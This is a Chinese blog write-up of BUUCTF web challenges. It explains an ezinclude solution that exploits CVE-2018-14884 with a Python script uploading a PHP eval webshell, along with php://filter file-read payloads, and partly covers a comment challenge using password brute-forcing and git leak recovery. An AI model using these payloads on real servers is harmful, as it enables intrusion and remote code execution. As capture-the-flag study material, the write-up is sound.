首页 > 其他分享 >BUUCTF-WEB(86-90)

BUUCTF-WEB(86-90)

时间:2024-06-17 20:33:56浏览次数:9  
标签:box WEB BUUCTF 然后 u0065 C2% php 86 我们

[NPUCTF2020]ezinclude

参考:php7 segment fault特性(CVE-2018-14884) - Eddie_Murphy - 博客园 (cnblogs.com)

[BUUCTF题解][NPUCTF2020]ezinclude 1 - Article_kelp - 博客园 (cnblogs.com)

查看源码发现

image-20240616144852199

然后抓包发现一个hash值

image-20240616145629875

然后我直接传参数,让pass等于这一个Hash

?pass=fa25e54758d5d5c1927781a6ede89f8a

image-20240616145712609

然后我们访问flflflflag.php,网页访问直接就是404,我们在burp访问一下

image-20240616145854809

然后有一个文件包含,我们输入

?file=php://filter/read=convert.base64-encode/resource=index.php

image-20240616150449407

然后没发现啥,看到了过滤了一些东西,然后我们得想办法getshell

然后查了一下可以利用CVE-2018-14884

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell,因为/tmp/xxx,里面的xxx是随机的,需要我们获取才能利用

发现他其实还有一个dir.php,后面用于我们获取文件名。

image-20240616151951514

以下是师傅的脚本

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

运行过后,我们再次看一下这个dir.php,发现了多了一个文件

image-20240616152322784

然后蚁剑连接

http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=/tmp/phpFVc8V7

连接上去也没有文件。

然后给脚本里面改一下,直接改成phpinfo,然后查看一下文件名,访问

/flflflflag.php?file=/tmp/phpeEMvZk

image-20240616153751765

[网鼎杯 2018]Comment

参考:[BUUCTF题解][网鼎杯 2018]Comment - Article_kelp - 博客园 (cnblogs.com)

[网鼎杯 2018]Comment题解,超详细!_网鼎杯2018 comment-CSDN博客

[网鼎杯 2018]Comment(二次注入,git泄露,git恢复)_[网鼎杯 2018]comment 1-CSDN博客

随便发了一个评论

image-20240616154510740

提示我们登录,密码是少了三位的,我们burp爆破一下,记得改一下位数

image-20240616154811343

然后爆破出来就是zhangwei666

image-20240616154931768

然后登陆进来没啥东西,然后扫描发现了git泄露

image-20240616155330699

然后我们使用githackerWangYihang/GitHacker:

标签:box,WEB,BUUCTF,然后,u0065,C2%,php,86,我们
From: https://www.cnblogs.com/Muneyoshi/p/18253143

相关文章

  • 基于web保龄球社团保龄球俱乐部网站系统设计与实现
     博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩。项目配有对应开发文档、开题报告、任务书、P......
  • 新手如何入门Web3?
    一、什么是Web3?Web3是指下一代互联网,它基于区块链技术,致力于将各种在线活动变得更加安全、透明和去中心化。Web3是一个广义的概念,涵盖了包括数字货币、去中心化应用、智能合约等在内的多个方面。它的主要特点包括去中心化、区块链技术的运用、智能合约的执行、用户主权和数......
  • 新手如何入门Web3?
    一、什么是Web3?Web3是指下一代互联网,它基于区块链技术,致力于将各种在线活动变得更加安全、透明和去中心化。Web3是一个广义的概念,涵盖了包括数字货币、去中心化应用、智能合约等在内的多个方面。它的主要特点包括去中心化、区块链技术的运用、智能合约的执行、用户主权和数......
  • Java课程设计:基于Javaweb的校园订餐系统
    文章目录一、项目介绍二、项目技术栈三、核心代码四、项目展示五、源码获取一、项目介绍在当今互联网高速发展的时代,大学校园内的学生生活正在发生着翻天覆地的变化。其中,校园内的餐饮服务无疑是亟需改革和创新的领域之一。传统的校园食堂模式,往往存在就餐高峰时......
  • 【JavaWeb】文件上传
    前端代码<formaction="/upload"method="post"enctype="multipart/form-data"> 姓名:<inputtype="text"name="username"><br>年龄:<inputtype="text"name="age"><b......
  • 基于Web3.0的区块链图片上传
    开始前,我们先简单了解一下基本的概念,我大致归纳为以下几个点什么是Web3.0,和区块链又有什么关系?(上回的文章不就派上用场了)需求:开发一个基于Python的Web3.0图片上传系统。这个系统将允许用户上传图片,并将图片存储在去中心化的网络上,同时记录交易信息在区块链上。本就是写着玩的,......
  • 什么是Web3.0,和区块链又有什么关系?
    又是一个莫名其妙的词语的新起-。-我大致归纳为以下几个点什么是web3.0Web3.0(Web3)是下一代互联网的发展方向,旨在创建一个更加去中心化、用户控制和数据保护的网络环境。与之前的Web1.0(静态网页)和Web2.0(动态、交互式网页和社交媒体)不同,Web3.0的核心理念和技术包括以下几个方......
  • Windows11系统webview2_integration.dll文件丢失问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个webview2_integration.dll文件(挑选合适的版......
  • Windows11系统webengine4.dll文件丢失问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个webengine4.dll文件(挑选合适的版本文件)把......
  • Windows11系统webview2standalone.dll文件丢失问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个webview2standalone.dll文件(挑选合适的版本......